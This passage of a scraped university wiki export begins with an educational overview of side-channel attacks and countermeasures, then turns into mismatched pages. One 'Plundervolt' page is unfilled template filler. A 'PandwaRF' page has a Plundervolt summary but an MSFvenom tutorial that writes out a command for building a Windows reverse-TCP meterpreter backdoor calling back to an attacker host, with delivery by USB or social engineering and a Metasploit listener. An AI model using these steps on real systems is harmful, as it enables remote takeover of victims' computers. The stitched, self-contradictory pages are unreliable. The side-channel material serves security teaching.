* cache miss (the data requested by the processor is not available in the cache and must therefore be requested from the main memory).<br />
<br />
It takes longer to load the data from the main memory than to call up the data directly from the cache. The time difference is used in the Time Analysis to exploit the device. The attacker measures the time by deleting the monitored memory line (smallest administrative unit within the cache of processors) from the cache (FLUSH) and then waits for the victim to request the memory line. In this case it allows access to it (WAIT). The attacker then reloads the memory line and measures the time required for loading (RELOAD). If the victim accesses the memory line (cache) while the attacker is waiting for it, the RELOAD takes less time. If the request has to be answered from main memory, the RELOAD takes considerably longer.<ref name="BT19"/> <br/><br/><br />
<br />
[[File:Cache Timing Attack.PNG|600px]]<ref name="BT19"/><br />
<br />
=== Electromagnetic Attacks ===<br />
<br />
Electromagnetic (EM) signals can be intercepted with sensors such as an antenna. The EM signal is then converted into a current signal from which the noise is removed and the frequency band is limited. The two main types of EM analysis are<ref name="BT19"/><br />
* Simple Electromagnetic Analysis and <br />
* Differential Electromagnetic Analysis.<br />
<br />
==== Simple Electromagnetic Analysis ====<br />
<br />
In order to be able to carry out a Simple Electromagnetic Analysis (SEMA), one must have prior knowledge of the architecture or the security policies of the device. The attacker tries to capture and analyse a single EM trace in order to obtain information about the device in this way. The analysis is done visually and the goal is to find a sequence of transitions in the function that contain information about the secret key.<ref name="BT19"/><br />
<br />
==== Differential Electromagnetic Analysis ====<br />
<br />
Differential Electromagnetic Analysis (DEMA) is required when the information that needs to be used cannot be analysed visually (i.e. Simple Electromagnetic Analysis is not possible). The analysed signal is compared with an equivalent signal. When the equivalent signal comes from another area of the device, this is called spatial referencing. If the signal comes from a different time, this is called temporal referencing. <br/><br />
Differential Electromagnetic Analysis does not require a lot of knowledge about the compromised device, since most of the information can be learned afterwards during the analysis. This helps to get details about the device such as functionality and structure, which in turn helps to reconstruct the device or to deactivate the security policy.<ref name="BT19"/><br />
<br />
=== Power-monitoring Attacks ===<br />
<br />
Power consumption analysis is used to obtain critical information (i.e. the secret key) by analysing the power consumption of a device. The attack is non-invasive, but requires the attacker to have physical access to the device in order to capture the current signals. It is the dominant form of Side Channel Attacks.<br />
<br />
Performing such an attack requires a series of current measurements, which can be measured with an oscilloscope. Each current signal that is captured during the analysis is called a power trace. An attacker normally needs a large number of these power traces in order to successfully carry out a Power-Monitoring Attack. After the measurement, the relationship between the power consumption and the secret key is analysed in various ways.<br />
<br />
When measuring the power consumption of a device, it is important to be aware that there are two types of power that affect power consumption: dynamic power and leakage power. The first is caused by switching activity of transistors within a device and the second is unwanted behaviour of a transistor. An attacker normally wants to capture dynamic power signals as they directly relate to the functional behaviour of the device. This means that he can use these signals to obtain information about certain operations that are currently being carried out inside of the device.<ref name="BT19"/><br />
<br />
==== Simple Power Analysis ====<br />
<br />
Simple Power Analysis (SPA) does not require any advanced or statistical processing stages, but it does require relatively detailed knowledge about the implementation of a cryptographic algorithm to interpret information about the secret key by visually examining the power traces. <br/><br />
Simple Power Analysis is typically used for devices with limited accessibility, as only a few power traces are likely to be available to the attacker. However, for the attack to be successful, the power traces must contain critical information. If multiple power traces are available, the traces can be averaged to remove noise.<br />
The power traces are usually checked visually. They show a sequence of patterns that can help identify key bits, instructions, or functions. This is possible because every command or function creates a specific pattern in the power trace. But to be able to see it, the captured power trace must have a clear pattern (without a lot of noise).<ref name="BT19"/><br />
<br />
==== Differential Power Analysis ====<br />
<br />
Differential Power Analysis (DPA) is the most common type of Power-Monitoring Attack and generally the best-known Side Channel Attack. This is because the attacker does not need to have any prior knowledge of the device he is trying to attack. Another reason is that this attack is very effective at capturing high quality signals in environments with high levels of noise. What can be seen as a disadvantage is that it typically requires a larger number of power traces compared to Simple Power Analysis. But that fact also makes it more powerful. <br/><br />
Differential Power Analysis requires two phases: data collection and data analysis (just like SPA). In the data analysis phase, the current traces are analysed statistically (e.g. differences in the mean values).<ref name="BT19"/><br />
<br />
==== Correlation Power Analysis ====<br />
<br />
The Correlation Power Analysis is an advanced form of the Power-Monitoring Attack. First, the real power consumption is measured. Hypothetical intermediate values are then calculated, each consisting of a part of an estimated subkey and known data (i.e. plain text). The theoretical power consumption that occurs in the device during the processing of the intermediate value is estimated for each hypothetical intermediate value, e.g. with the help of the [[Wikipedia:Hamming_distance|Hamming distance]]. A statistical method is then used to find out which subkey was most likely used by correlating the hypothetical power traces and the actual power traces. The best subkey guesses are then pieced together to get the full secret key.<ref name="CPA"/><br />
<br />
[[File:Correlation Power Analysis.PNG|350px]]<ref name="CPA"/><br />
<br />
==== Template Power Analysis ====<br />
<br />
The Template Power Analysis is a more advanced form of the Simple Power Analysis (SPA). The attacker characterises and saves known and recognized patterns in the power traces as templates. He then compares these templates with the power traces collected from the target device. In this way, he recognizes matches and therefore knows what operations were being carried out when the power traces were measured.<ref name="BT19"/><ref name="CRR03"/><br />
<br />
=== Fault-Injection Attacks ===<br />
The Fault-Injection Attacks is a attack where keys/secrets and sensitive information is "stolen" from cryptographic devices or systems by generating faults. Usually the attacker exploits a system that is more prone to being vulnerable due to its higher design complexity and incomplete verification. Voltage glitching, electromagnetic glitching or clock glitching are some of the ways a fault is generated. Fault-Injection Attacks are usually differential, because the output of a faulty operation is compared to a non-faulty operation. <br />
<br />
=== Others ===<br />
<br />
There are also other Side Channel Attacks such as Acoustic and Optical Attacks, but these have not yet been extensively investigated and are therefore not mentioned in more detail here.<ref name="BT19"/><br />
<br />
== Countermeasures ==<br />
<br />
The aim of the countermeasures is to reduce the usable part of the side channel information to a level at which attacks are no longer possible, or at least to a level that would require too many measurements of the side channel. It would of course be much more attractive if you managed to prevent attacks from being possible, but in practice this is very difficult to achieve. A general countermeasure against all types of Side Channel Attacks is to use secret keys and similar sensitive data as rarely as possible (e.g. work with session keys) and to update them as often as possible.<br />
<br />
From a technical point of view, the aim of these countermeasures is to remove the dependency between the data values and operations occurring in a cryptographic algorithm and the side channel signals of a cryptographic device. Two basic approaches can be taken to achieve this goal<ref name="Pop09"/>: <br />
* Masking<br />
* Hiding<br />
<br />
=== Masking ===<br />
<br />
When masking is used, all susceptible intermediate values v of a cryptographic algorithm are hidden by a random value m called a mask: v(m) = v ∗ m. The random mask is generated internally by a device as it must not be known to an attacker. All operations performed in a cryptographic device only work with the masked values v(m). The most common masking operations are the XOR function (Boolean masking) and arithmetic operations such as modular addition or multiplication (arithmetic masking). Examples of masking countermeasures are masked look-up tables in software or masked function blocks in hardware.<ref name="Pop09"/><br />
<br />
=== Hiding ===<br />
<br />
Hiding is an attempt to change the side channel properties of cryptographic devices in such a way that the data processed on a device and the emitted side channel signals can no longer be associated with one another. However, this is usually not perfectly possible in practice. There are two main approaches to implement hiding:<br />
* Randomization, i.e. randomizing side channel signals (e.g. inserting dummy operations randomly or mixing operations) and <br />
* making side channel signals the same (for all operations and data values).<br />
Randomization of side channel signals can be achieved by performing the operations of cryptographic algorithms at different times for each execution (temporal randomization) or by directly increasing the noise level in the side channel signals (randomization in the amplitude dimension).<ref name="Pop09"/><br />
<br />
== References ==<br />
<references><br />
<ref name="BT19">Swarup Bhunia and Mark Tehranipoor. Chapter 8 - side-channel attacks. In Swarup Bhunia and Mark Tehranipoor, editors, Hardware Security, pages 193-218. Morgan Kaufmann, 2019.</ref><br />
<ref name="CRR03">Suresh Chari, Josyula R. Rao, and Pankaj Rohatgi. Template attacks. In Burton S. Kaliski, cetin K. Koc, and Christof Paar, editors, Cryptographic Hardware and Embedded Systems - CHES 2002, pages 13-28, Berlin, Heidelberg, 2003. Springer Berlin Heidelberg.</ref><br />
<ref name="Pop09">T. Popp. An introduction to implementation attacks and countermeasures. In 2009 7th IEEE/ACM International Conference on Formal Methods and Models for Co-Design, pages 108-115, 2009.</ref><br />
<ref name="Mai12">Ken Mai. Side Channel Attacks and Countermeasures, pages 175-194. Springer New York, New York, NY, 2012.</ref><br />
<ref name="CPA">https://cryptography.gmu.edu/documentation/fobos/cpa.html</ref><br />
<br />
<br />
</references><br />
<br />
[[Category:Basic]]</div>SVrdoljakhttps://elvis.hcw.ac.at/wiki/index.php?title=Plundervolt&diff=8228Plundervolt2021-12-16T18:44:29Z<p>SVrdoljak: Created page with "== Summary == Description what this documentation is about. == Requirements == * Operating system: Ubuntu 18.04 bionic amd64 * Packages: git emacs In order to complete th..."</p>
<hr />
<div>== Summary == <br />
<br />
Description what this documentation is about.<br />
<br />
== Requirements ==<br />
<br />
* Operating system: Ubuntu 18.04 bionic amd64<br />
* Packages: git emacs<br />
<br />
In order to complete these steps, you must have followed [[Some Other Documentation]] before.<br />
<br />
== Description ==<br />
<br />
=== Step 1 ===<br />
<br />
Enter these commands in the shell<br />
<br />
echo foo<br />
echo bar<br />
<br />
=== Step 2 ===<br />
<br />
Make sure to read<br />
<br />
* War and Peace<br />
* Lord of the Rings<br />
* The Baroque Cycle<br />
<br />
== Used Hardware ==<br />
<br />
[[Device to be used with this documentation]]<br />
[[Maybe another device to be used with this documentation]]<br />
<br />
== Courses ==<br />
<br />
* [[A course where this documentation was used]] (2017, 2018)<br />
* [[Another one]] (2018)<br />
<br />
== References ==<br />
<br />
* https://wikipedia.org<br />
* https://google.com<br />
<br />
[[Category:Documentation]]</div>SVrdoljakhttps://elvis.hcw.ac.at/wiki/index.php?title=PandwaRF&diff=8227PandwaRF2021-12-16T18:36:53Z<p>SVrdoljak: </p>
<hr />
<div>== Summary ==<br />
This documentation describes how the Plundervolt attack works. It describes the requirements, the functionality and the countermeasures. Plundervolt is a fault injection attack that deprives an Intel chip of power in order to create faults, which can be used to gain access to sensitive data and weaken the overall Intel chip security. <br />
== Introduction ==<br />
MSFvenom is an easily manageable framework that can be used to quickly create Metasploit payloads.<br />
== Requirements ==<br />
Devices: 2 devices --> 1 running Kali Linux (attacker) and 1 running Windows 7 (victim)<br />
<br />
== Exploit ==<br />
1. On Kali Linux we will open up a new shell and create a reverse TCP payload with the help of MSFvenom in one single line:<br />
'''msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.134 LPORT=6565 -f exe -o backdoor.exe.'''<br />
With '''-p''' we specify which type of payload we want to create, '''LHOST''' and '''LPORT''' are basically the IP address and the port that we will open for our victim to connect to. '''-f exe''' specifies that the created payload is an executable file and '''-o''' specifies the name under which the file should be saved.<br />
<br />
2. The next step is the hardest challenge and that would be to transfer the backdoor to the victim machine. This can be done in many ways (most often it is done by different social engineering toolkits) but for the sake of simplicity, you can use a USB.<br />
<br />
3. Before executing the backdoor file on the victim machine, we need to setup a listener that will listen for connections on a particular port. We will use metasploit to create the listener just like on the photo.<br />
[[File:1.png]]<br />
<br />
<br />
<br />
== References ==<br />
https://blog.attify.com/hack-iot-devices-embedded-exploitation/<br />
<br />
https://blog.attify.com/hack-iot-device/</div>SVrdoljak